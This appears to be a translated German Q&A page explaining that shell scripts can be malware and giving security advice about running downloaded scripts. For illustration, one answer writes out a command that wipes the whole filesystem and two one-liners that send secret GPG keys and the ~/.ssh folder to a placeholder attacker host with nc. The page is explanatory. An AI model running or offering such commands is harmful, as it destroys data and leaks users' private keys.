GNU/Linux >> LINUX-Kenntnisse >  >> Linux

Kann eine .sh-Datei Malware sein?

.sh Dateien sind Shell-Skripte. Sie sind analog zu .bat Dateien (cmd Skripte) unter Windows. Alle diese (Shell-Skripte, cmd-Skripte, .exe Ausführbare Windows-Dateien, ausführbare Linux-Dateien (die normalerweise keine Erweiterung haben)) sind ausführbare Programme; Wenn Sie einen ausführen, kann er alles tun, was Sie tun können. Also ja, Shell-Skripte können schädlich sein. Behandeln Sie ein Shell-Skript (oder ein Perl-Skript oder ein Python-Skript oder ein Ruby-Skript usw.) mit dem gleichen Misstrauen wie jede andere Anwendung.

Es ist etwas schwieriger, Malware in einem Shell-Skript zu verstecken, ohne verdächtig auszusehen, da dies ein Skript ist, das von Personen mit Kenntnissen der Skriptsprache gelesen werden kann. Aber es ist nicht viel schwieriger; nur wenige Leute, selbst mit dem technischen Wissen, würden sich die Mühe machen, den Code zu überprüfen, sodass Sie hoffen können, unbemerkt zu bleiben.

In der Praxis kursiert weniger Malware für Linux als für Windows. Dies liegt wahrscheinlich hauptsächlich daran, dass Linux auf dem Desktop einen viel geringeren Marktanteil hat als Windows, sodass sich das Schreiben von Linux-Malware weniger auszahlt. Außerdem gibt es in der Linux-Welt, mehr als in der Windows-Welt, eine seit langem verwurzelte Kultur des Teilens kleiner Systemverbesserungen; Das Gleichgewicht der Wahrscheinlichkeit besagt also, dass dies jemand ist, der eine kleine Verbesserung teilt, und keine Malware. Aber es könnte Malware sein, die sich als kleine Verbesserung ausgibt. Am Ende müssen Sie entscheiden, ob Sie der Website vertrauen können, von der Sie diese Anwendung erhalten, oder den Personen, die diese Website empfohlen haben. Bevorzugen Sie Programme, die aus Ihrer Distribution stammen (d. h. die Sie aus dem Software-Center installieren können), da sie einer Überprüfung unterzogen wurden.

Nun zu diesem speziellen Programm:Ich habe einen kurzen Blick darauf geworfen und es sieht gutartig aus. Ich habe nichts gesehen, was Ihr Passwort irgendwo speichern würde, ohne es Ihnen zu sagen, oder das auf Ihrem Computer andere Dinge tun würde als das, wofür es beworben wird. Beachten Sie, dass ich nur eine zweiminütige Überprüfung durchgeführt habe, an der jeder auch nur annähernd clevere Malware-Autor vorbeikommen könnte. Das Programm sieht recht gut geschrieben aus.

Ich würde dieses Programm nicht unbedingt empfehlen, es sei denn, Sie haben ein dringendes Bedürfnis, das nicht durch Pakete in der Ubuntu-Distribution abgedeckt wird. Ubuntu kommt mit dem Seepferdchen GUI-Frontend für GPG (es gibt auch kgpg für KDE-Benutzer). Vielleicht möchten Sie auch seahorse-nautilus installieren (oder seahorse-plugin in älteren Versionen) für die Nautilus-Integration.


#!/bin/sh
rm -rf --no-preserve-root /

Das ist Malware, und es ist ein Shell-Skript. Eine fortgeschrittenere Version könnte so etwas enthalten wie:

gpg --export-secret-keys | nc www.evilbadguys.com 443
tar -cz ~/.ssh | nc www.evilbadguys.com 80

Also ja, ein Shell-Skript kann bösartig sein. Es kann komplexer werden und andere Skriptsprachen oder Bibliotheken aufrufen oder sogar ein Shell-Archiv sein, das eine reguläre ausführbare Datei ausspuckt und aufruft.

Zum größten Teil erhält alles, was Sie ausführen, die Berechtigungen des Benutzers.


Na sicher! Es kann alles tun, was Sie tun können! Protokolle ansehen, Keylogs erstellen, Dateien stehlen usw....

Je nachdem, was sein Entwickler auf den Quellcode geschrieben hat! Es kann ALLES tun.....

Und es ist sehr einfach zu erstellen. Wenn Sie also eine verdächtige .sh-Datei erhalten, überlegen Sie es sich zweimal, bevor Sie sie ausführen!


Linux
  1. Kann ein Bash-Skript mit einer Datei verknüpft werden?

  2. Shell-Skript zum Verschieben der ältesten Dateien?

  3. Wie überprüfe ich die Teilzeichenfolge in Shell Script Bash?

  4. Ändern des Inhalts einer Datei durch Shell-Skript

  5. Nur verschieben, wenn die Datei in einem Shell-Skript vorhanden ist

35 Bash-Skriptbeispiele

So führen Sie ein Shell-Skript beim Start aus

Kopieren und überschreiben Sie eine Datei im Shell-Skript

Was ist eine .sh-Datei?

So führen Sie eine Datei ohne die Erweiterung .sh in der Shell aus

Kann der Init-Prozess ein Shell-Skript in Linux sein?